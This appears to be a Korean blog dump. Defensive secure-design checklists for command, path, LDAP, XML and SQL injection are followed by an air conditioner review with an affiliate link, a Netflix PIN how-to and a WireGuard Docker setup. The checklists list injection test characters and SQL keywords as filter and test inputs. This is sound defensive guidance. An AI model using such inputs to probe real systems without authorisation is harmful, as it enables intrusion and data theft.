1-2 시스템자원 접근 이력이
로그로 기록되도록 설계되어 있는지
아키텍처 설계서, 클래스설계서 등에서 확인
- 로그기록내용에는 시간, 사용자ID, 사용자IP 및 입력값이
포함 되도록 설계되어야 하며,
권한없는 접근의 경우도 기록하도록 설계되어 있는지 확인

- 산출물 검토 예시: 아키텍처설계서, 유즈케이스설계서, 클래스설계서 검토

2. 허가되지 않은 자원에 대해
접근이 가능한지를 점검하는
테스트 계획이 수립되어 있는가?

2-1 조작된 입력으로
허가되지 않은 자원(파일이나, 서비스, 프로세스, 데이터 등)의
접근가능 여부를 점검할 수 있는
테스트 계획이 수립되어 있는 확인

[테스트 입력값]
- 경로 조작에 사용되는 .., /, \\ 문자 등

- 산출물 검토 예시: 단위테스트케이스 검토

관련 산출물
- 요구사항정의서, 요구사항추적표, 아키텍처설계서, DB설계서, 개발가이드, 단위테스트케이스, 단위테스트 시나리오등

요구사항 2

서버 프로그램 안에서
쉘을 생성하여 명령어를 실행해야 하는 경우
외부입력값에 의해
악의적인 명령어가 실행되지 않도록 해야 한다.

- 시스템 명령어를 사용할 때
외부 입력값을 사용하는 경우
입력값을 검증하도록 설계하고 있는지 확인한다.

[ 진단 방법 ]

1. 외부입력 값이 운영체제 명령어 실행시
명령어 또는 파라메터로 사용되는 경우,
허가된 명령만 실행되도록 보안설계가 적용되어 있는가?

1-1 요구사항정의서에 설계항목에 대한 대책이 수립되어 있으며,
아키텍처 설계서에 설계항목 적용계획이 수립되어 있고,
요구사항추적표로 요구 사항 추적 가능 여부 확인
- 산출물 검토 예시: 요구사항정의서, 요구사항추적표, 아키텍처 설계서 검토

1-2 프로그램내에서
명령어를 실행하는 기능 포함여부를 식별하고,
해당 기능에서 실행 가능한 명령어 또는 파라미터가
제한되도록 설계되어 있는지 확인
- 산출물 검토 예시: 아키텍처설계서, 클래스 설계서, 유즈케이스설계서 검토

1-3 운영체제 명령어 실행 이력이
로그로 기록되도록 설계되어 있는지
아키텍처 설계서, DB설계서 등에서 확인
- 로그기록내용에는
시간, 사용자ID, 사용자IP 및 입력값이
포함 되도록 설계 되어야 하며,
실행한 명령어와 파라미터가 기록되도록 설계되었는지 확인

- 산출물 검토 예시: 아키텍처설계서의 보안 요구항목 적용 계획 검토, 로그기록내용과 기능 설계시 로깅이 수행되도록 설계되어 있는지 진단을 위해 클래스설계서 검토, 로깅 코딩 규칙 진단을 위해 개발 가이드 검토

2. 허가되지 않은 명령어 실행가능여부를
점검하는 계획이 수립되어 있는가?

2-1 조작된 입력으로 허가되지 않은 명령어가
실행가능한지 여부를 테스트 하는 계획을
설계문서(ex. 단위테스트케이스, 단위테스트시나리오 등) 에서 확인

[테스트 입력값]
- 검증해야 할 문자열(|, &, ; 등)을 정의
- 검증 및 예상 결과가 포함되어 있는지 확인

- 산출물 검토 예시: 단위테스트케이스 검토

관련 산출물
- 요구사항정의서, 요구사항추적표, 아키텍처설계서, 유즈케이스 설계서, 클래스설계서, 개발가이드, 단위테스트케스, 단위테스트시나리오 등

[설계 단계 - 입력데이터 검증 및 표현] 디렉토리 서비스 조회 및 결과 검증

루딘이 — Wed, 27 Jul 2022 15:29:45 +0900

소프트웨어 보안약점 진단가이드
2021.11 개정안 기준으로 작성
- 이후 내용이 수정될 수 있습니다.

[항목]
- 디렉토리 서비스 조회 및 결과 검증

[유형]
- 입력데이터 검증 및 표현

[기준]
- 디렉토리 서비스(LDAP 등)를 조회할 때
입력값과 그 조회결과에 대한 유효성 검증방법 설계 및
유효하지 않은 값에 대한 처리방법을 설계한다.

[보안 대책]
- LDAP 인증서버로 인증을 구현하는 경우
인증요청을 위해 사용되는 외부입력값은
LDAP 삽입 취약점을 가지지 않도록 필터링해서 사용해야 한다.

[구현단계 관련 보안약점]
- 입력 데이터 검증 및 표현 > LDAP 삽입

취약점 개요: LDAP 삽입

외부입력값이

LDAP 조회를 수행하기 위한 필터 생성에 사용되는 경우

필터규칙을 변경할 수 있는 입력값에 대한 검증 작업을 수행하지 않게 되면

공격자가 의도하는 LDAP 조회가 수행될 수 있는 취약점이다.

LDAP 삽입 취약점

설계 시 고려사항(보안 대책)

보안 대책의 세부 내용 입니다.

1. LDAP 인증서버로 인증을 구현하는 경우
인증요청을 위해 사용되는 외부입력값은
LDAP 삽입 취약점을 가지지 않도록 필터링해서 사용해야 한다.

- LDAP 인증이 포함되는 기능 설계시,
외부입력값이
LDAP 조회를 위한 검색 필터 생성에
삽입되어 사용되는 경우,
필터 규칙으로 인식 가능한 특수문자(=, +, <, >, #, ;, \ 등)들을
제거하고 사용할 수 있도록
시큐어코딩 규칙을 정의해야 한다

[ LDAP 아키텍처 설계]
- 개발환경: Java, PHP, ASP
- 활용 가능한 프레임워크 또는 라이브러리: LDAP Syntax Filters
LDAP 검색필터를
액티브 디렉토리(AD) 조회 시의
검색기준을 정의하고
효율적인 검색을 수행할 수 있다.
위 MS 웹문서의 내용과 참조목록으로
필터 작성에 필요한 문법을 참고하여
특수문자를 필터링한다.

진단 기준 및 방법

요구사항 1

LDAP 인증서버로 인증을 구현하는 경우
인증요청을 위해 사용되는 외부입력값은
LDAP 삽입 취약 점을 가지지 않도록
필터링해서 사용해야 한다.

- LDAP 질의문 생성 시
사용되는 입력값과 조회결과에 대한
검증방법(필터링 등)을 설계하고
유효하지 않은 값에 대한 처리방법이
명시되어 있는지 확인한다.

[ 진단 방법 ]

1. 외부입력값이
LDAP조회를 위한 필터생성에 삽입되어 사용되는 경우,
안전하게 사용될 수 있도록 보안설계가 적용되어 있는가?

1-1 요구사항정의서에 설계항목에 대한 대책이 수립되어 있으며,
아키텍처 설계서에 설계항목 적용계획이 수립되어 있고,
요구사항추적표로 요구 사항 추적 가능 여부 확인
- 산출물 검토 예시: 요구사항정의서, 요구사항추적표, 아키텍처설계서 검토

1-2 LDAP 조회필터 생성에 사용되는 입력값을
필터링하는 기능이 설계되어 있거나,
안전한 외부라이브러리를 사용하도록 설계되어 있는지 확인
- 산출물 검토 예시: 프로그램명세서, 컴포넌트설계서, 유즈케이스설계서, 클래스설계서 등에서 필터링 기능 검토

1-3 LDAP조회기능 구현시,
LDAP필터링을 적용하기 위한 코딩규칙이
개발 가이드에 정의되어 있는지 확인
- 산출물 검토 예시: 개발가이드에서 코딩규칙 검토

2. LDAP 삽입 취약점을 점검할 수 있는
테스트 계획이 수립되어 있는가?

2-1 LDAP 필터구문을 변경할 수 있는 입력값을 사용하여
LDAP필터의 규칙이 변경되는지를 점검하기 위한
테스트 계획이 수립되어 있는지 확인
[테스트 입력값]
- = , + , < , > , # , ; , \ 등

- 산출물 검토 예시: 단위테스트케이스 검토

관련 산출물
- 요구사항정의서, 요구사항추적표, 아키텍처설계서, 개발가이드, 프로그램설계서, 유즈케이스설계서, 클래스설계서, 컴포넌트설계서, 단위테스트케이스 등

[설계 단계 - 입력데이터 검증 및 표현] XML 조회 및 결과 검증

루딘이 — Wed, 27 Jul 2022 11:14:27 +0900

소프트웨어 보안약점 진단가이드
2021.11 개정안 기준으로 작성
- 이후 내용이 수정될 수 있습니다.

[항목]
- XML 조회 및 결과 검증

[유형]
- 입력데이터 검증 및 표현

[기준]
- XML 조회시 질의문(XPath, XQuery 등) 내 입력값과 그 조회결과에 대한
유효성 검증방법(필터링 등)과 유효하지 않은 값에 대한 처리방법을 설계해야 한다.

[보안 대책]
- XML문서를 조회하는 기능을 구현해야 하는 경우
XML질의문에 사용되는 파라미터는 반드시
XML쿼리를 조작할 수 없도록 필터링해서 사용하거나,
미리 작성된 질의문에 입력값을 자료형에 따라 바인딩해서 사용해야 한다.

[구현단계 관련 보안약점]
- 입력 데이터 검증 및 표현 > XML 삽입
- 입력 데이터 검증 및 표현 > 부적절한 XML 외부개체 참조

취약점 개요: XML 삽입

XML 문서를 조회할 경우 입력값 조작으로

XQuery나 XPath와 같은 XML 질의문의 구조를 임의로 변경하여

허가되지 않은 데이터를 조회하거나 인증절차를 우회할 수 있다.

XML 삽입

설계 시 고려사항(보안 대책)

보안 대책의 세부 내용 입니다.

1. XML문서를 조회하는 기능을 구현해야 하는 경우
XML질의문에 사용되는 파라미터는 반드시
XML쿼리를 조작할 수 없도록 필터링해서 사용하거나,
미리 작성된 질의문에 입력값을 자료형에 따라 바인딩해서 사용해야 한다.

[고려사항]
1. 공통 검증 컴포넌트를 이용한 입력값 필터링
- 외부입력값에서 XML삽입 공격이 가능한 문자열들을 필터링하는
Validator 컴포넌트를 개발하여 XML조회를 수행하는 애플리케이션 작성시
입력값에 대한 검증 작업이 일괄 적용되도록 설계한다.

2. 필터 컴포넌트를 이용한 입력값 필터링
- Filter컴포넌트에서
XML 삽입 공격에 활용될 수 있는 입력값(“, [, ], /, =, @)을
필터링하도록 작성하여
전체 요청 또는 XML필터링이 요구되는 요청에 대해
프레임워크에서 일괄 적용하도록 설계한다.

3. 개별 코드에서 입력값 필터링하도록 시큐어코딩 규칙 정의
- 각각의 컴포넌트에서
입력값에 대해 XML삽입을 발생시킬 수 있는 문자열(“, [, ], /, =, @ 등)을
제거 또는 안전하게 치환하여 사용할 수 있도록
시큐어코딩 규칙을 정의한다.

4. 안전한 API를 사용하도록 시큐어코딩 규칙 정의
- XML 조회를 수행하는 질의문 작성 시
외부입력값이 질의문의 구조를 바꿀 수 없는 API(예. Java API‐ XQuery)를
사용하도록 시큐어코딩 규칙을 정의한다.

진단 기준 및 방법

요구사항 1

XML문서를 조회하는 기능을 구현해야 하는 경우
XML질의문에 사용되는 파라미터는
반드시 XML질의문을 조작할 수 없도록 필터링해서 사용하거나,
미리 작성된 질의문에 입력값을 자료형에 따라 바인딩해서 사용해야 한다.

- XML 조회를 위한 질의문(XPath, XQuery 등) 생성 시
사용되는 입력값과 조회결과에 대한 검증방법(필터링 등)을 설계하고
유효하지 않은 값에 대한 처리방법이 명시되어 있는지 확인한다.

[ 진단 방법 ]

1. 외부 입력값이 XML 데이터 조회에 사용되는 경우,
입력값이 조회 구문을 변경하지 않도록 보안 설계가 적용되어 있는가?

1-1 요구사항정의서에 설계항목에 대한 대책이 수립되어 있으며,
아키텍처 설계서에 설계항목 적용계획이 수립되어 있고,
요구사항추적표로 요구 사항 추적 가능 여부 확인
- 산출물 검토 예시: 요구사항정의서, 요구사항추적표, 아키텍처설계서 검토

1-2 XML조회에 사용되는 외부 입력값을
안전하게 필터링하는 기능이 설계 되어 있거나
안전한 외부라이브러리를 사용하도록 설계되어 있는지 확인
- 산출물 검토 예시: 프로그램명세서, 컴포넌트설계서, 유즈케이스설계서, 클래스설계서 등에서 필터링 기능 검토

1-3 XML데이터를 조회하는 기능 구현시,
XML필터링을 적용하기 위한 코딩규칙이나
안전하게 사용할 수 있는 API에 대한 설명이
개발가이드에 정의되어 있는지 확인
- 산출물 검토 예시: 개발가이드에서 코딩규칙 검토

2. XML삽입 취약점을 점검할 수 있는
테스트 계획이 수립되어 있는가?

2-1 XML조회 구문을 변경할 수 있는 입력값을 사용하여
XML조회 구문이 변경 되는지를 점검하는
테스트계획이 수립되어 있는지 확인
[테스트 입력값]
- 쿼리예약어, “, [, ], /, =, @ 등

- 산출물 검토 예시: 단위테스트케이스 검토

관련 산출물
- 요구사항정의서, 요구사항추적표, 아키텍처설계서, 프로그램명세서, 컴포넌트설계서, 유즈케이스 설계서, 클래스설계서, 단위테스트계획서 등

[설계 단계 - 입력데이터 검증 및 표현] DBMS 조회 및 결과 검증

루딘이 — Wed, 27 Jul 2022 10:47:53 +0900

소프트웨어 보안약점 진단가이드
2021.11 개정안 기준으로 작성
- 이후 내용이 수정될 수 있습니다.

[항목]
- DBMS 조회 및 결과 검증

[유형]
- 입력데이터 검증 및 표현

[기준]
- DBMS 조회시 질의문(SQL) 내 입력값과
그 조회결과에 대한 유효성 검증방법(필터링 등) 설계 및
유효하지 않은 값에 대한 처리방법을 설계해야 한다.

[보안 대책]
- 애플리케이션에서 DB연결을 수행할 때 최소권한의 계정을 사용해야 한다.
- 외부입력값이 삽입되는 SQL질의문을 동적으로 생성해서 실행하지 않도록 해야 한다.
- 외부입력값을 이용해 동적으로 SQL질의문을 생성해야 하는 경우,
입력값에 대한 검증을 수행한 뒤 사용해야 한다.

[구현단계 관련 보안약점]
- 입력 데이터 검증 및 표현 > SQL 삽입

취약점 개요: SQL 삽입(Injection)

데이터베이스(DB)와 연동된 응용프로그램에서

입력된 데이터에 대한 유효성 검증을 하지 않을 경우,

공격자가 입력데이터에 SQL 질의문을 삽입하여

DB로부터 정보를 열람하거나 조작할 수 있는 보안 취약점을 말한다.

SQL 삽입 취약점

설계 시 고려사항(보안 대책)

보안 대책의 세부 내용 입니다.

1. 애플리케이션에서 DB연결을 수행할 때
최소권한의 계정을 사용해야 한다.
- 취약한 애플리케이션으로 인해 침해사고가 발생하더라도
나머지 부분에 대해 공격자가 액세스 권한을 가지지 않도록
애플리케이션에서 사용하는 DB연결 계정은
해당 애플리케이션이 사용하는
데이터에 대한 읽기, 쓰기, 삭제, 업데이트 권한만 설정한다.

2. 외부 입력값이 삽입되는 SQL질의문을
동적으로 생성해서 실행하지 않도록 해야 한다.
- SQL 질의문의 구조가
외부 입력값에 의해 변경되지 않는 API를 사용하도록
시큐어코딩 규칙을 지정 한다.
ORM프레임워크를 사용하여 안전한 정적쿼리구조로
SQL문을 수행할 수 있도록 개발환경을 설정하고,
ORM프레임워크에서 제공하는 함수를 활용하여
외부 입력값에 의해 SQL 질의문의 구조가 변경되지 않도록 한다.

3. 외부 입력값을 이용해 동적으로
SQL질의문을 생성해야 하는 경우,
입력값에 대한 검증을 수행한 뒤 사용해야 한다.
- 클라이언트와 서버 양측에서
입력값에 대해 안전한 값만 사용될 수 있도록
검증작업을 수행한다.

[검증 방법]
1. 필터를 이용한 입력값 검증
- 외부입력값에서 SQL삽입이 가능한 문자열들을 필터링하여
안전한 값으로 치환하도록 하는 Filter 컴포넌트를 생성하고,
DB에서 관리하는 데이터를 처리하는 모든 애플리케이션에 일괄 적용한다.

2. 인터셉트를 이용한 입력값 검증
- MVC프레임워크를 사용하는 경우
Interceptor 컴포넌트를 사용하여
입력값에 대한 검증 작업을 수행한 뒤
요청을 차단하거나 허용하는 정책을
애플리케이션에 일괄 적용 한다.

3. 라이브러리 또는 Validator 컴포넌트를 이용한 입력값 검증
- 입력값을 검증하는 Validator 컴포넌트를 공통코드로 생성하고,
모든 개발자가 SQL질의문에 삽입되는 입력값에 대해
검증작업을 해당 컴포넌트에서 수행하도록 시큐어코딩 규칙을 정의한다.

입력값 검증 방법 및 위치

ORM(Oject-Relational-Mapping) 프레임워크

객체지향 프로그래밍의 객체와

관계형 데이터베이스의 테이블(스키마)을

연결하는 프레임워크입니다.

객체지향 프로그래밍은 클래스를 사용하고

관계형 데이터 베이스는 테이블을 사용합니다.

여기서 객체 모델과 관계형 모델간에 불일치가 발생하게 되는데,

ORM은 객체간의 관계를 바탕으로

SQL을 자동으로 생성하여 불일치를 해결합니다.

ORM 역할

ORM 종류

개발 언어 별로

다양한 프레임워크가 존재합니다.

[JAVA]
- JPA, Hibernate, EclipseLink, DataNucleus, Ebean 등

[C++]
- ODB, QxOrm 등

[Python]
- Django, SQLAlchemy, Storm 등

[iOS]
- DatabaseObjects, Core Data 등

[.NET]
- NHibernate, DatabaseObject, Dapper 등 PHP : Doctrine, Propel, RedBean 등

진단 기준 및 방법

요구사항 1

애플리케이션에서 DB연결을 수행할 때
최소권한의 계정을 사용해야 한다.

- 애플리케이션에서 사용할 계정이
최소권한을 가지도록 명시하고 있는지,
- 진단 시점에 개발서버가 구축되고
개발서버에서 사용할 DB가 생성되어 있는 경우에는
실제 DB 접속 계정의 권한을 확인한다.

[ 진단 방법 ]

1. 애플리케이션별 DB접속 계정이 할당되고,
각 계정의 권한이 최소권한으로 설정되어 있는가?

1-1 요구사항정의서에 설계항목에 대한 대책이 수립되어 있으며,
아키텍처 설계서에 설계항목 적용계획이 수립되어 있고,
요구사항추적표로 요구 사항 추적 가능 여부 확인
- 산출물 검토 예시: 요구사항정의서, 요구사항추적표, 아키텍처설계서 검토

1-2 애플리케이션별 DB연결 계정할당과
해당계정에 대한 최소 권한 할당 여부 확인
- 산출물 검토 예시: 아키텍처설계서, 초기데이터설계서 검토

2. 설정된 사용자 권한 외의 요청에 대해
차단되는지에 대한 테스트 계획이 수립되어 있는가?

2-1 DB연결 계정의 권한 외의 요청이
차단되는지를 점검할 수 있는
테스트 계획 수립이 수립되어 있는지 확인
- 산출물 검토 예시: 단위테스트케이스 검토

관련 산출물
- 요구사항정의서, 요구사항추적표, 아키텍처 설계서, 초기데이터 설계서, 개발가이드, 단위테스트 케이스, 단위테스트 시나리오 등

요구사항 2

외부입력값이 삽입되는 SQL문을
동적으로 생성해서 실행하지 않도록 해야 한다.

- 사용하는 플랫폼(JAVA, ASP.Net 등) 및 프레임워크에 맞는
정적 SQL을 작성하도록 명시하고 있는지 확인한다.

[ 진단 방법 ]

1. DB 데이터 처리기능 구현시,
외부 입력값이 쿼리의 구조에 영향을 미치지 않도록
보안설계가 적용 되어 있는가?

1-1 요구사항정의서에 설계항목에 대한 대책이 수립되어 있으며,
  아키텍처 설계서에 설계항목 적용계획이 수립되어 있고,
  요구사항추적표로 요구 사항 추적 가능 여부 확인
- 산출물 검토 예시: 요구사항정의서, 요구사항추적표, 아키텍처설계서 검토

1-2 안전한 쿼리 실행환경을 제공할 수 있는
ORM 프레임워크와 같은 프레임 워크 사용여부확인
- 산출물 검토 예시:  아키텍처설계서의 보안요구항목 적용 계획을 검토

1-3 개발가이드로 안전한 정적 쿼리 코딩 방법을 정의하고 있는 지 확인
- ibatis, mybatis 사용시 #{변수} 사용 정의
- PreparedStatement와 같은 정적쿼리를 수행하는 API 사용정의
- 산출물 검토 예시: 개발가이드 검토

2. 입력값이 DB 쿼리의 구조를 변경시키는지 점검하기 위한
테스트 계획이 수립되어 있는가?

2-1 쿼리문의 구조를 변경할 수 있는 입력값이
쿼리 구조 변경에 영향을 주는지 점검할 수 있는
테스트 계획이 수립되어 있는지 확인

[테스트 입력값]
- 특수문자: ‘ , “ , = , & , | , ! , ( , ) , { , } , $ , % , @ 등
- 예약어: UNION, SELECT, THEN, IF, INSTANCE, END, COLUMN 등
- 함수 명: DATABASE(), CONCAT(), COUNT(), LOWER() 등

- 산출물 검토 예시: 단위테스트케이스 검토

관련 산출물
- 요구사항정의서, 요구사항추적표, 아키텍처설계서, 개발가이드, 단위테스트 케이스, 단위테스트 시나리오 등

요구사항 3

외부입력값을 이용해 동적으로 SQL쿼리문을 생성해야 하는 경우,
입력값에 대한 검증을 수행한 뒤 사용해야 한다.

- 불가피하게 동적으로 쿼리문을 생성하고
외부입력값을 사용해야 하는 경우
개발자가 입력값 검증을 구현할 수 있도록
세부사항을 명시하고 있는지 확인한다.

[ 진단 방법 ]

1. 외부 입력값을 이용한 동적 쿼리를 수행하는 기능 구현시,
입력값을 필터링하는 기능이 구현되어 있는가?

1-1 요구사항정의서에 설계항목에 대한 대책이 수립되어 있으며,
아키텍처 설계서에 설계항목 적용계획이 수립되어 있고,
요구사항추적표로 요구 사항 추적 가능 여부 확인
- 산출물 검토 예시: 요구사항정의서, 요구사항추적표, 아키텍처설계서 검토

1-2 SQL필터링 기능이 설계되어 있거나
외부라이브러리를 사용하는지 확인
- 산출물 검토 예시: 프로그램명세서, 클래스설계서에서 필터링기능 검토, 외부라이브러리 사용 진단을 위해 아키텍처설계서 검토

1-3 SQL필터링 적용방법이 공통 적용으로 정의되어 있는 경우,
DB 접근을 수행하는 모든 기능에 적용되도록 설계되어 있는지 확인
- 산출물 검토 예시: 아키텍처설계서의 보안요구항목 적용 계획을 검토

1-4 각각의 기능에서 SQL필터링을 적용하는 경우
SQL필터링을 적용하기 위한 코딩규칙이
개발가이드에 정의되어 있는지 확인
- 산출물 검토 예시: 개발가이드의 코딩 규칙 검토

2. 입력값이 DB 쿼리의 구조를 변경시키는지 점검하기 위한
테스트 계획이 수립되어 있는가?

2-1 쿼리문의 구조를 변경할 수 있는 입력값이
  쿼리 구조 변경에 영향을 주는지 점검할 수 있는
  테스트 계획이 수립되어 있는지 확인
[테스트 입력값]
- 특수문자:  ‘ , “ , = , & , | , ! , ( , ) , { , } , $ , % , @ 등
- 예약어: UNION, SELECT, THEN, IF, INSTANCE, END, COLUMN 등
- 함수 명: DATABASE(), CONCAT(), COUNT(), LOWER() 등

- 산출물 검토 예시: 단위테스트케이스 검토

관련 산출물
- 요구사항정의서, 요구사항추적표, 아키텍처설계서, 프로그램명세서, 클래스설계서, 개발가이드, 단위 테스트케이스, 단위테스트시나리오 등

2022년 파세코 프리미엄 창문형 에어컨 PWA-3400W 구매 및 실사용 후기

루딘이 — Sat, 30 Apr 2022 02:07:05 +0900

올해는 왠지

더위가 빨리 찾아올 거 같아서

자취방에 쓸

에어컨을 좀 일찍 찾던 도중...

파세코에서

22년 신형이 나왔다길래..!!

얼리버드 이벤트도 하길래..!!

내돈내산으로

빠르게 구매하여

사용해봤습니다

심지어 오늘도착..!!

# 오늘도착...

쇼핑 라이브를 통해

오전에 구매했더니...

오후 4시쯤에 도착했습니다;;

엄청 크지만...절대 눕히지 말라...!!!

프리미엄 PWA-3400W 모델은

높이가 85cm로 생각 높은데...

눕히지 말라고 합니다..??

(언박싱 어떻게...?)

알고 보니

모든 박스 포장을

위로 뺄 수 있게

아래가 뚫려있었습니다.

바닥이 뻥~

# 언박싱!

기본 구성품은

간단합니다.

구성품:
- 파세코 프리미엄 PWA-3400W 본체
- 설치 구성품
- 설치 키트(에어컨 설치 틀?)
- 에어컨 커버(얼리버드 이벤트)

크다.

설치 구성품에는

제품 설명서와

설치 방법 및 부품들이

들어있습니다.

이지 설치 키트!

# Easy(?) 설치

확실히 설치 방법은

쉽습니다.

하지만 20Kg의 무게는...

운동의 필요성을

느낄 수 있습니다...

- 설치 방법

설치 방법은

설명서 대로 따라하면

쉽게 설치할 수 있습니다.

더군다나

파세코 유튜브 채널에서도

동영상을 제공하고 있으니

참고해서 설치하시면

됩니다.

유튜브 채널: https://www.youtube.com/channel/UCaSGxavHJT9HV1ibLQMaIow

- Tip 1: 틈 막기

설치 틀을

창문에 설치하면

모퉁이 부분에

틈이 생겨

외부 공기가

들어올 수 있습니다.

밤에 설치했더니 틈으로 빛이 샌다

잘 확인해서

공기가 새지 않도록

차단해 주셔야 합니다.

저는 휴지와

테이프로 틈을 막았습니다.

이제 이 창문은...움직일 수 없어...

- Tip 2: 에어컨 설치

우선 20kg을 창문 높이로

드는 건 위험한 일이기 때문에

(아 물론 제품한테 위험한 일...)

중간 높이의 의자 등을 둬서

쉬었다가 올리는 게 좋습니다.

아랫 부분을 잘 맞춰서 설치하고

윗 부분을 딸깍 소리가 날 때까지

밀면 고정이 됩니다.

고정이 되면

빨간색 볼트로

조여주면 설치가 끝납니다.

빨간색이 포인트

# 빠질 수 없는 소음

처음 산 창문형 에어컨이라

소음이 걱정됐는 데,

의외로?

일반 에어컨 작동하는

(에어컨 팬 돌아가는)

정도의 소음이었습니다.

업그레이드 했다더니...

근데 지금 이정도면

이전 제품들은 도대체...;;;

- 취침 모드(야간 모드)

취침 모드일 때의

소음 입니다.

조용하지는 않지만

조용한(?) 편입니다.

취침 모드

저한테는

에어컨 틀어놓고

그 앞에서 자는 정도의

소음이었습니다.

(촬영을 그 앞에서 했으니...)

- 냉방 1단

냉방 모드 1단의

소음 입니다.

냉방 1단

여기도 뭐...

제가 둔감해서 그런걸 지도...

- 냉방 5단(이건 쫌...)

냉방 5단의

소음 입니다.

냉방 5단

저는 5단으로 틀 생각이

전혀 없습니다.

앞으로도 없습니다.

없을 겁니다.

없습니다.

없을 겁니다.

없습니다.

전 3단으로

만족합니다.

3단이면 취침도

가능할 거 같습니다.

(진짜 잘 때 둔해서...)

- 동굴풍?

풍량이 쎄게 나왔다가

주변의 온습도를 감지해서

동굴의 상태로

자동 조절되는

동굴풍 입니다.

동굴풍

에..뭐...

선풍기도 그렇고...

공기청정기도 그렇고...

이런 기능 쓰질 않아서...

- 대망의 터보

터보 기능입니다.

쓸 생각

없습니다.

없을 겁니다.

없습니다.

없을 겁니다.

없습니다.

터보...!!! PWA-3400W 항공기 이륙합니다...!!!

진짜로

팬도 미친 듯이 돌아가서

그렇지만

팬 소리 외에

이륙하는 소리가 납니다.

레이싱 카 엔진이

예열부터 시작해서

점화 - 발진하는 기분이 들어요

# 허접하지만 어플 연동!!

초반이라

어플에서

잔버그가 발생하지만

IoT가 됩니다.

- 설치: 파세코 스마트홈

파세코 스마트홈을

다운받아서

설치하면 됩니다.

어플 설치

- 기기 등록 및 연동

그래도

기기 연동은

어플에

안내가 잘 되어있습니다.

시키는 데로

따라가면

쉽게 연동할 수 있습니다.

기기 연동 설명

단, 아래 주의사항은

참고해주세요.

주의사항:
- WiFi는 2Ghz만 지원
- 처음 연동 시 숨긴 WiFi는 연결이 되지 않는다.

모든 IoT가 그렇 듯

2Ghz에서만 연결이 됩니다.

또한,

처음 연결 시에는

에어컨이

숨겨진 WiFi를 못 찾습니다.

때문에,

사용 중인 WiFi의

숨긴 상태를 해제한 후

기기와 연결하고

다시 숨겨야 합니다.

(추후 업데이트 되기를 바라며...)

# 내 점수는요...

이전 세대는 확실히

시끄러웠을 거 같지만,

이번 제품은

제 기준으로

이미 만족 중...

그래도 일상 생활에서

소음을 제거하고

사시는 분들이 계시니..

필수 템이

되어가지만

백점은 못주겠다...

# 현명한 구매

현재 파세코에서는

다양한 판매처에서

쇼핑 라이브 방송을 하며

할인 이벤트를 진행하고 있습니다.

방송 스케쥴은

파세코 인스타그램에서

확인이 가능합니다.

방송 스케쥴:
- https://www.instagram.com/korea_paseco/

또한, 비싸긴 하지만

쿠팡에서도 구매가 가능합니다.

https://link.coupang.com/a/mA5od

파세코 프리미엄 창문형 에어컨 패브릭실버 PWA-3400W 방문설치

COUPANG

www.coupang.com

이 포스팅은 쿠팡 파트너스 활동의 일환으로, 이에 따른 일정액의 수수료를 제공받습니다.

[넷플릭스] Netflix 프로필 PIN 설정 방법

루딘이 — Sat, 22 Jan 2022 19:17:13 +0900

가족 공유를 하든...

친구 공유를 하든...

누구랑 공유를 하든...

내 프로필을 누가 쓰는 게 싫은 경우

프로필에 전용 핀 번호를 설정해서

다른 사람의 접근을

막을 수 있습니다.

# 로그인한 후 계정 페이지로 접속

넷플릭스에 로그인한 후,

본인의 프로필에 접속합니다.

우측 상단에 캐릭터를 클릭하고

아래 계정을 클릭합니다.

캐릭터 -> 계정

# 프로필 잠금 페이지 접속

계정 페이지에 접속한 후

페이지 아래에

프로필 & 자녀 보호 설정

으로 내려가면

여러 프로필들이 있습니다.

본인의 프로필을 선택한 후

프로필 잠금 페이지에

접속하세요.

프로필 & 자녀 보호 설정 -> 프로필 잠금

# 프로필 핀 설정

프로필 잠금 페이지에 접속한 후,

계정 비밀번호를 입력하고

프로필의 핀 번호를 설정합니다.

비밀번호 입력

핀 번호 설정

# 끝

이제 본인 프로필에

누군가가 접속할 때마다

설정한 핀 번호를 입력해야합니다.

(물론, 본인도...)

[Docker, VPN] OpenVPN 대신 WireGuard 구축하기

루딘이 — Fri, 21 Jan 2022 16:08:19 +0900

집에서

OpenVPN으로

VPN 서버를 구축하려다가

WireGuard가 더 빠르다기에

도커에 WireGuard로

VPN 서버를 구축해봤습니다.

# 왜 WireGuard?

기본적으로 VPN을 구축한다고 하면,

보안상 안전하고 많이 알려진

OpenVPN을 먼저 고려하게 됩니다.

저도 OpenVPN 구축 방법을 찾던 도중

안전하지만 느린 OpenVPN 대신

최신 암호화 알고리즘을 사용하면서도

속도가 빠른 WireGuard를 알게 되어

구축했습니다.

- 속도

속도 비교를 보니...

확실히 WireGuard가 빠르네요.

(출처: https://restoreprivacy.com/vpn/fastest/)

심지어 IPsec보다도 빠름

- 암호화 알고리즘

최신 암호화 방식을 적용해서

안전하면서도 빠른 데이터 암호화를

제공한다고 합니다.

암호화 알고리즘
- Curve25519, ChaCha20, Poly1305, BLAKE2, SipHash24, HKDF

- 실사용의 편의성

WireGuard는

자체적으로 Client App이나 프로그램을

만들었기 때문에,

다른 3rd Party App들을 고민할 필요가 없으며,

Client에게 암호화 키를 배포하기 위한

QRCode 또한 제공하기 때문에

쉽게 키를 전달할 수 있으며,

VPN 연결 또한 쉽습니다.

# 설치

기존에 Windows 에 설치한 Docker에

LinuxServer 그룹의 WireGuard 이미지를

이용하여 설치했습니다.

근데...

도커를 사용하다보니...

설치가 너무 쉬워...

- 설치 전 준비

도커로 설치하기 전에

WireGuard 컨테이너에 생성된

QRcode나 설정 파일(.conf)를

외부에서 접근 가능하도록

1. 도커 외부에 디렉토리(폴더)를 하나 생성합니다.

생성된 WireGuard 용 폴더

2. 사용 중인 공유기에서 VPN 포트(51820/UDP)를

열어줘야 합니다.

공유기에서 외부 포트 OPEN

- Docker 설치

도커를 이용해 설치하다보니

간단한 명령어로

쉽게 설치가 가능합니다.

저는 나중에도 사용하기 위해

yml 파일 방식으로 설치했습니다.

아래는 WireGuard 설치를 위한

Docker yml 파일의 예시 입니다.

version: "2.1"
services:
  WireGuard:
    image: 'linuxserver/wireguard'
    container_name: WireGuard
    cap_add:
      - NET_ADMIN
      - SYS_MODULE
    environment:
      - PUID=1000
      - PGID=1000
      - TZ=Asia/Seoul
      - SERVERURL=wireguard.domain.com #optional, 사용 중인 DDNS
      - SERVERPORT=51820 #optional, 사용할 포트
      - PEERS=1 #optional, Client 수
      - PEERDNS=auto #optional, Client DNS
      - INTERNAL_SUBNET=10.13.13.0 #optional, VPN 내부 IP 대역
      - ALLOWEDIPS=0.0.0.0/0 #optional, 접속 허용 IP 대역
    volumes:
      - /path/to/appdata/config:/config	# 연결할 로컬 디렉토리
